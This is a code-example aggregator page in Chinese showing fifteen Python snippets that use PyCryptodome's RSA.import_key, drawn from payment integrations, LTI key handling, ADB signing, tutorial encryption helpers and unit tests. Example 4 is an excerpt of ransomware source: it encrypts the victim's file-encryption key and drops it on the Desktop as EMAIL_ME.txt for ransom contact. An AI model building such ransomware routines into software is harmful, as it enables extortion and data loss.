当前位置: 首页>>代码示例>>Python>>正文


Python RSA.import_key方法代码示例

本文整理汇总了Python中Crypto.PublicKey.RSA.import_key方法的典型用法代码示例。如果您正苦于以下问题:Python RSA.import_key方法的具体用法?Python RSA.import_key怎么用?Python RSA.import_key使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在Crypto.PublicKey.RSA的用法示例。


在下文中一共展示了RSA.import_key方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: __init__

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def __init__(self, appid, app_notify_url, app_private_key_path,
                 alipay_public_key_path, return_url, debug=False):
        self.appid = appid
        self.app_notify_url = app_notify_url
        self.app_private_key_path = app_private_key_path
        self.app_private_key = None
        self.return_url = return_url
        with open(self.app_private_key_path) as fp:
            self.app_private_key = RSA.importKey(fp.read())

        self.alipay_public_key_path = alipay_public_key_path
        with open(self.alipay_public_key_path) as fp:
            self.alipay_public_key = RSA.import_key(fp.read())

        if debug is True:
            self.__gateway = "https://openapi.alipaydev.com/gateway.do"
        else:
            self.__gateway = "https://openapi.alipay.com/gateway.do" 
开发者ID:BeanWei,项目名称:Dailyfresh-B2C,代码行数:20,代码来源:alipay.py

示例2: __init__

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def __init__(self, key_pem, kid=None):
        """
        Import Key when instancing class if a key is present.
        """
        self.key = None

        if key_pem:
            # Import JWK from RSA key
            try:
                self.key = RSAKey(
                    # Using the same key ID as client id
                    # This way we can easily serve multiple public
                    # keys on teh same endpoint and keep all
                    # LTI 1.3 blocks working
                    kid=kid,
                    key=RSA.import_key(key_pem)
                )
            except ValueError:
                raise exceptions.InvalidRsaKey() 
开发者ID:edx,项目名称:xblock-lti-consumer,代码行数:21,代码来源:key_handlers.py

示例3: decrypt

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def decrypt(key, passphrase, encrypted_file_path):
    """
    Decrypts the specified file using a RSA key and its bound passphrase
    :param key: an RSA key
    :param passphrase: str
    :param encrypted_file_path: str path of the file to be decrypted
    :return: bytes decrypted data
    """
    print('Decrypting file {} ...'.format(encrypted_file_path))
    rsa_key = RSA.import_key(key, passphrase=passphrase)
    with open(encrypted_file_path, 'rb') as f:
        # Read the encoded session key, nonce, digest and encrypted data
        enc_session_key, nonce, digest, ciphertext = \
            [ f.read(x) for x in (rsa_key.size_in_bytes(), 16, 16, -1) ]

        # decode the session key
        cipher_rsa = PKCS1_OAEP.new(rsa_key)
        session_key = cipher_rsa.decrypt(enc_session_key)
        cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)

        # finally decrypt data
        data = cipher_aes.decrypt_and_verify(ciphertext, digest)
        print('Done')
        return data 
开发者ID:PacktPublishing,项目名称:Python-for-Everyday-Life,代码行数:26,代码来源:decrypt.py

示例4: encrypt_fernet_key

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def encrypt_fernet_key(self):
        with open('fernet_key.txt', 'rb') as fk:
            fernet_key = fk.read()
        with open('fernet_key.txt', 'wb') as f:
            # Public RSA key
            self.public_key = RSA.import_key(open('public.pem').read())
            # Public encrypter object
            public_crypter =  PKCS1_OAEP.new(self.public_key)
            # Encrypted fernet key
            enc_fernent_key = public_crypter.encrypt(fernet_key)
            # Write encrypted fernet key to file
            f.write(enc_fernent_key)
        # Write encrypted fernet key to dekstop as well so they can send this file to be unencrypted and get system/files back
        with open(f'{self.sysRoot}Desktop/EMAIL_ME.txt', 'wb') as fa:
            fa.write(enc_fernent_key)
        # Assign self.key to encrypted fernet key
        self.key = enc_fernent_key
        # Remove fernet crypter object
        self.crypter = None


    # [SYMMETRIC KEY] Fernet Encrypt/Decrypt file - file_path:str:absolute file path eg, C:/Folder/Folder/Folder/Filename.txt 
开发者ID:ncorbuk,项目名称:Python-Ransomware,代码行数:24,代码来源:RansomWare.py

示例5: __init__

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def __init__(self, method):
        self.appid = settings.ALIPAY_APPID
        self.app_private_key_path = settings.PRIVATE_KEY_PATH
        self.alipay_public_key_path = settings.ALIPUB_KEY_PATH # 支付宝的公钥,验证支付宝回传消息使用,不是你自己的公钥
        self.app_notify_url = settings.ALIPAY_NOTIFY_URL
        self.app_private_key = None
        self.alipay_public_key = None
        self.method = method
        with open(self.app_private_key_path) as fp:
            self.app_private_key = RSA.importKey(fp.read())

        with open(self.alipay_public_key_path) as fp:
            self.alipay_public_key = RSA.import_key(fp.read()) 
开发者ID:aeasringnar,项目名称:django-RESTfulAPI,代码行数:15,代码来源:AliPay.py

示例6: _rsa_decrypt

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def _rsa_decrypt(private_key_path=None, ciphertext=None):
        """
        RSA Decryption function, returns decrypted plaintext in b64 encoding
        """
        dsize = SHA.digest_size
        sentinel = Random.new().read(20 + dsize)
        ciphertext = base64.b64decode(ciphertext)
        private_key = RSA.import_key(open(private_key_path).read())
        cipher = PKCS1_v1_5.new(private_key)
        plaintext = cipher.decrypt(ciphertext, sentinel).decode('utf8')
        return plaintext 
开发者ID:paterva,项目名称:maltego-trx,代码行数:13,代码来源:oauth.py

示例7: encrypt_pub_key

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def encrypt_pub_key(data: bytes, key: bytes):
    recipient_key = RSA.import_key(key)
    cipher_rsa = PKCS1_OAEP.new(recipient_key)
    encrypted_data = cipher_rsa.encrypt(data)
    return encrypted_data 
开发者ID:its-a-feature,项目名称:Apfell,代码行数:7,代码来源:crypto.py

示例8: decrypt_pub_key

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def decrypt_pub_key(data: bytes, key: bytes):
    recipient_key = RSA.import_key(key)
    cipher_rsa = PKCS1_OAEP.new(recipient_key)
    decrypted_data = cipher_rsa.decrypt(data)
    return decrypted_data 
开发者ID:its-a-feature,项目名称:Apfell,代码行数:7,代码来源:crypto.py

示例9: __init__

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def __init__(self, rsa_key_path=None):
        super(PycryptodomeAuthSigner, self).__init__()

        if rsa_key_path:
            with open(rsa_key_path + '.pub', 'rb') as rsa_pub_file:
                self.public_key = rsa_pub_file.read()

            with open(rsa_key_path, 'rb') as rsa_priv_file:
                self.rsa_key = RSA.import_key(rsa_priv_file.read()) 
开发者ID:JeffLIrion,项目名称:adb_shell,代码行数:11,代码来源:sign_pycryptodome.py

示例10: encrypt

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def encrypt(key, src_file_path, encrypted_file_path):
    """
    Encrypts the specified source file to the target path using AES and the
    specified RSA key
    :param key: an RSA key
    :param src_file_path: str path of file to be encrypted
    :param encrypted_file_path: str path of target encrypted file
    :return: None
    """
    print('Encrypting file {} to {} using AES'.format(src_file_path,
                                                      encrypted_file_path))
    rsa_key = RSA.import_key(key)
    with open(encrypted_file_path, "wb") as outfile:
        # Create a random session key and encrypt it with the input RSA key
        session_key = get_random_bytes(16)
        cipher_rsa = PKCS1_OAEP.new(rsa_key)
        outfile.write(cipher_rsa.encrypt(session_key))

        # Create an AES session key
        cipher_aes = AES.new(session_key, AES.MODE_EAX)

        with open(src_file_path ,'rb') as infile:
            # Use AES session key to encrypt input file data
            data = infile.read()
            ciphertext, digest = cipher_aes.encrypt_and_digest(data)

            # write to target file
            outfile.write(cipher_aes.nonce)
            outfile.write(digest)
            outfile.write(ciphertext)
    print('Done') 
开发者ID:PacktPublishing,项目名称:Python-for-Everyday-Life,代码行数:33,代码来源:encrypt.py

示例11: test_import_empty

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def test_import_empty(self):
        self.assertRaises(ValueError, RSA.import_key, b"")

    ### 
开发者ID:vcheckzen,项目名称:FODI,代码行数:6,代码来源:test_import_RSA.py

示例12: test_import_key

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def test_import_key(self):
        """Verify that import_key is an alias to importKey"""
        key = RSA.import_key(self.rsaPublicKeyDER)
        self.failIf(key.has_private())
        self.assertEqual(key.n, self.n)
        self.assertEqual(key.e, self.e) 
开发者ID:vcheckzen,项目名称:FODI,代码行数:8,代码来源:test_import_RSA.py

示例13: test_import_openssh_public

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def test_import_openssh_public(self):
        key_file_ref = load_file("rsa2048_private.pem")
        key_file = load_file("rsa2048_public_openssh.txt")

        key_ref = RSA.import_key(key_file_ref).publickey()
        key = RSA.import_key(key_file)
        self.assertEqual(key_ref, key) 
开发者ID:vcheckzen,项目名称:FODI,代码行数:9,代码来源:test_import_RSA.py

示例14: test_import_openssh_private_clear

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def test_import_openssh_private_clear(self):
        key_file = load_file("rsa2048_private_openssh.pem")
        key_file_old = load_file("rsa2048_private_openssh_old.pem")

        key = RSA.import_key(key_file)
        key_old = RSA.import_key(key_file_old)

        self.assertEqual(key, key_old) 
开发者ID:vcheckzen,项目名称:FODI,代码行数:10,代码来源:test_import_RSA.py

示例15: test_import_openssh_private_password

# 需要导入模块: from Crypto.PublicKey import RSA [as 别名]
# 或者: from Crypto.PublicKey.RSA import import_key [as 别名]
def test_import_openssh_private_password(self):
        key_file = load_file("rsa2048_private_openssh_pwd.pem")
        key_file_old = load_file("rsa2048_private_openssh_pwd_old.pem")

        key = RSA.import_key(key_file, b"password")
        key_old = RSA.import_key(key_file_old)
        self.assertEqual(key, key_old) 
开发者ID:vcheckzen,项目名称:FODI,代码行数:9,代码来源:test_import_RSA.py


注:本文中的Crypto.PublicKey.RSA.import_key方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。